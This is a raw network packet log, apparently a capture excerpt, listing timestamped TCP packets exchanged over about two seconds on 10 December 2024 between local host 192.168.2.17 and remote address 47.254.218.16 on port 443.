Dec 10, 2024 12:48:47.913703918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.913711071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.913752079 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.918904066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.918922901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.918965101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.918973923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.918989897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.919019938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.925278902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.925296068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.925357103 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.925363064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.925411940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.930521011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.930537939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.930586100 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.930592060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.930630922 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.936544895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.936561108 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.936605930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.936613083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.936650991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.088641882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.088675022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.088747978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.088764906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.088778973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.088810921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.093866110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.093895912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.093926907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.093949080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.094111919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.094111919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.099908113 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.099929094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.099983931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.100004911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.100049019 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.105818987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.105846882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.105879068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.105899096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.105917931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.105940104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.111074924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.111099005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.111129045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.111150980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.111167908 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.111196041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.117434025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.117454052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.117532969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.117556095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.117599964 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.122885942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.122905970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.122956991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.122980118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.123019934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.128827095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.128849030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.128882885 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.128905058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.128921032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.128942013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.151871920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.281356096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.281380892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.281574011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.281574011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.281596899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.281646967 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.286834002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.286849976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.286906958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.286912918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.286955118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.293658972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.293675900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.293729067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.293734074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.293781042 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.299154997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.299170017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.299222946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.299227953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.299271107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.304605961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.304621935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.304675102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.304681063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.304725885 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.310003996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.310019016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.310065031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.310070992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.310112953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.315748930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.315762997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.315815926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.315821886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.315861940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.321513891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.321530104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.321579933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.321585894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.321629047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.473196983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.473223925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.473299980 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.473315954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.473345995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.473370075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.479659081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.479675055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.479716063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.479721069 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.479749918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.479772091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.485727072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.485749960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.485795975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.485800982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.485831022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.485841036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.491434097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.491451979 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.491513968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.491520882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.491565943 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.496943951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.496958971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.497020006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.497028112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.497073889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.502404928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.502420902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.502496004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.502501965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.502540112 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.508300066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.508316994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.508373022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.508379936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.508419037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.514523983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.514538050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.514610052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.514616013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.514656067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.539205074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.665322065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.665355921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.665433884 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.665460110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.665494919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.665515900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.671233892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.671251059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.671294928 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.671324968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.671344995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.671358109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.676886082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.676902056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.676955938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.676978111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.677021980 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.682792902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.682809114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.682864904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.682887077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.682933092 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.688420057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.688435078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.688505888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.688527107 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.688569069 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.694081068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.694123030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.694199085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.694220066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.694266081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.700009108 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.700025082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.700073004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.700092077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.700109959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.700125933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.705346107 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.705362082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.705414057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.705427885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.705495119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.857615948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.857645988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.857743979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.857764959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.857812881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.863658905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.863677979 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.863761902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.863769054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.863821030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.868709087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.868726015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.868799925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.868805885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.868850946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.874748945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.874763966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.874818087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.874824047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.874866962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.880640030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.880655050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.880708933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.880714893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.880753040 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.886291981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.886308908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.886351109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.886358023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.886383057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.886400938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.892271042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.892288923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.892348051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.892354965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.892399073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.897595882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.897619009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.897666931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.897670984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:48.897694111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.897720098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:48.924282074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.049768925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.049789906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.049855947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.049877882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.049920082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.055630922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.055648088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.055696011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.055701017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.055737972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.061650038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.061666965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.061745882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.061748981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.061793089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.066931963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.066948891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.067001104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.067007065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.067063093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.073004961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.073023081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.073077917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.073081970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.073158979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.078548908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.078566074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.078629971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.078634977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.078681946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.084479094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.084492922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.084549904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.084556103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.084600925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.090559006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.090579033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.090615988 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.090624094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.090648890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.090668917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.272483110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.272515059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.272582054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.272605896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.272655010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.273622036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.273637056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.273683071 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.273686886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.273730993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.274549007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.274565935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.274612904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.274616957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.274658918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.276276112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.276293993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.276343107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.276346922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.276386023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.277282953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.277298927 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.277345896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.277349949 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.277391911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.278233051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.278248072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.278291941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.278295994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.278336048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.279959917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.279978991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.280014992 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.280019999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.280051947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.280071974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.283375978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.283396006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.283467054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.283478022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.283512115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.307576895 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.435600042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.435625076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.435724974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.435749054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.435796976 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.441551924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.441570044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.441631079 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.441637993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.441683054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.446787119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.446803093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.446862936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.446871042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.446912050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.452922106 CET	443	49729	47.254.218.16	192.168.2.17
